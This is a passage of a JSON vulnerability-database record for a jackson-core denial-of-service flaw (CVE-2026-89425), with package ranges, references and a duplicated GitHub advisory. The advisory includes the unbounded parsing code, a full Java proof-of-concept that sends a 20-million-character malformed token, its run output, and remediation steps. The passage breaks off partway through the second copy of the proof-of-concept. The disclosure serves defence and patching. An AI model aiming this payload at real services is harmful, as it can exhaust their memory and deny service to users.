SP6-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.2-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.6-1","2.9.1-1","2.9.4-1","2.9.8-3~18.04"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.8-3","2.10.0-1","2.10.1-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.12.1-1","2.13.0-1","2.13.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1build1","2.14.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-1build1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10}],"products":[{"vendor":"fasterxml","product":"jackson-core"}],"references":[{"url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://github.com/FasterXML/jackson-core/pull/1698","tags":["patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89425","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3","tags":["web"]},{"url":"https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11","tags":["web"]},{"url":"https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7hhh-6rmp-j9qf"},{"url":"https://access.redhat.com/errata/RHSA-2026:86706","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-89407","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-89425","tags":["report"]},{"url":"https://bugzilla.redhat.com/2538720","tags":["report"]},{"url":"https://bugzilla.redhat.com/2539084","tags":["report"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-86706.html","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:90909","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-68498","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-91777","tags":["report"]},{"url":"https://bugzilla.redhat.com/2539085","tags":["report"]},{"url":"https://bugzilla.redhat.com/2554486","tags":["report"]},{"url":"https://errata.almalinux.org/8/ALSA-2026-90909.html","tags":["advisory"]},{"url":"https://repo1.maven.org/maven2","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/89xxx/CVE-2026-89425.json","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-89425","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:86706","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538720","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2539084","tags":["report"]},{"url":"https://errata.rockylinux.org/RLSA-2026:90909","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2539085","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2554486","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624149-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273856","tags":["report"]},{"url":"https://bugzilla.suse.com/1273857","tags":["report"]},{"url":"https://bugzilla.suse.com/1277883","tags":["report"]},{"url":"https://bugzilla.suse.com/1278008","tags":["report"]},{"url":"https://bugzilla.suse.com/1280125","tags":["report"]},{"url":"https://bugzilla.suse.com/1282491","tags":["report"]},{"url":"https://bugzilla.suse.com/1282492","tags":["report"]},{"url":"https://bugzilla.suse.com/1282505","tags":["report"]},{"url":"https://bugzilla.suse.com/1282641","tags":["report"]},{"url":"https://bugzilla.suse.com/1282645","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18401","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-19032","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68498","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-83557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89407","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-91776","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-91777","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264394-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1282639","tags":["report"]},{"url":"https://bugzilla.suse.com/1282640","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68496","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-89425","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-89425","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-89425","title":"jackson-core: UTF8DataInputJsonParser._reportInvalidToken() does not honor maxErrorTokenLength, allowing unbounded StringBuilder growth","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","status":"published","published":"2026-09-23T02:06:10.571Z","modified":"2026-09-23T14:00:42.979Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770","CWE-400"],"updated_at":"2026-11-02T14:19:55.526923Z"}],"euvd":[{"id":"EUVD-2026-85000","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","status":"published","published":"2026-09-23T02:06:10Z","modified":"2026-09-23T14:00:42Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:00.949397Z"}],"ghsa":[{"id":"GHSA-7hhh-6rmp-j9qf","title":"jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)","description":"## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n  (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n    StringBuilder sb = new StringBuilder(matchedPart);\n    while (true) {\n        char c = (char) _decodeCharForError(ch);\n        if (!Character.isJavaIdentifierPart(c)) {\n            break;\n        }\n        sb.append(c);\n        ch = _inputData.readUnsignedByte();\n    }\n    _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n    sb.append(\"...\");\n    break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n    static class RepeatingByteInputStream extends InputStream {\n        private final int b;\n        private long remaining;\n        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n        @Override public int read() {\n            if (remaining \u003c= 0) return -1;\n            remaining--;\n            return b;\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n        System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n                + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n                + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n        System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            DataInputStream dataIn = new DataInputStream(raw);\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n            long heapBefore = usedHeap();\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            long heapAfter = usedHeap();\n\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n            System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n                    + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n        }\n\n        System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser(raw);\n\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = \"(stream ended: \" + e + \")\";\n            }\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            int msgLen = message == null ? -1 : message.length();\n            System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n            System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n            System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n        }\n    }\n\n    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n    }\n\n    static long usedHeap() {\n        Runtime rt = Runtime.getRuntime();\n        System.gc();\n        return rt.totalMemory() - rt.freeMemory();\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters ('x'), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling —\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n   `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n   limit is reached — mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n   exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n   `ParserMinimalBase` to prevent this class of per-implementation drift recurring.","status":"published","published":"2026-10-01T15:20:27Z","modified":"2026-10-01T15:20:28Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"nvd":[{"id":"CVE-2026-89425","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","status":"published","published":"2026-09-23T03:17:04.357Z","modified":"2026-09-24T20:43:32.537Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:12:50.703874Z"}],"osv":[{"id":"CVE-2026-89425","title":"jackson-core: UTF8DataInputJsonParser._reportInvalidToken() does not honor maxErrorTokenLength, allowing unbounded StringBuilder growth","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","status":"published","published":"2026-09-23T02:06:10.571Z","modified":"2026-11-05T21:15:56.677453344Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-05T22:01:21.792402Z"},{"id":"DEBIAN-CVE-2026-89425","description":"UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.","status":"published","published":"2026-09-23T03:17:04.357Z","modified":"2026-10-20T04:00:07.459748262Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:05.506112Z"},{"id":"GHSA-7hhh-6rmp-j9qf","title":"jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)","description":"## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n  (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n    StringBuilder sb = new StringBuilder(matchedPart);\n    while (true) {\n        char c = (char) _decodeCharForError(ch);\n        if (!Character.isJavaIdentifierPart(c)) {\n            break;\n        }\n        sb.append(c);\n        ch = _inputData.readUnsignedByte();\n    }\n    _reportError(\"Unrecognized token '\"+sb.toString()+\"': was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n    sb.append(\"...\");\n    break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit —\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n    static class RepeatingByteInputStream extends InputStream {\n        private final int b;\n        private long remaining;\n        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n        @Override public int read() {\n            if (remaining \u003c= 0) return -1;\n            remaining--;\n            return b;\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n        System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n                + \" Java-identifier characters ('x'), then a terminating space, never completing\"\n                + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n        System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n        {\n            InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n            DataInputStream dataIn = new DataInputStream(raw);\n            JsonFactory factory = new JsonFactory();\n            JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n            long heapBefore = usedHeap();\n            long t0 = System.nanoTime();\n            String message = null;\n            try {\n                p.nextToken(); p.nextToken(); p.nextToken();\n            } catch (JsonParseException e) {\n                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n            } catch (IOException e) {\n                message = 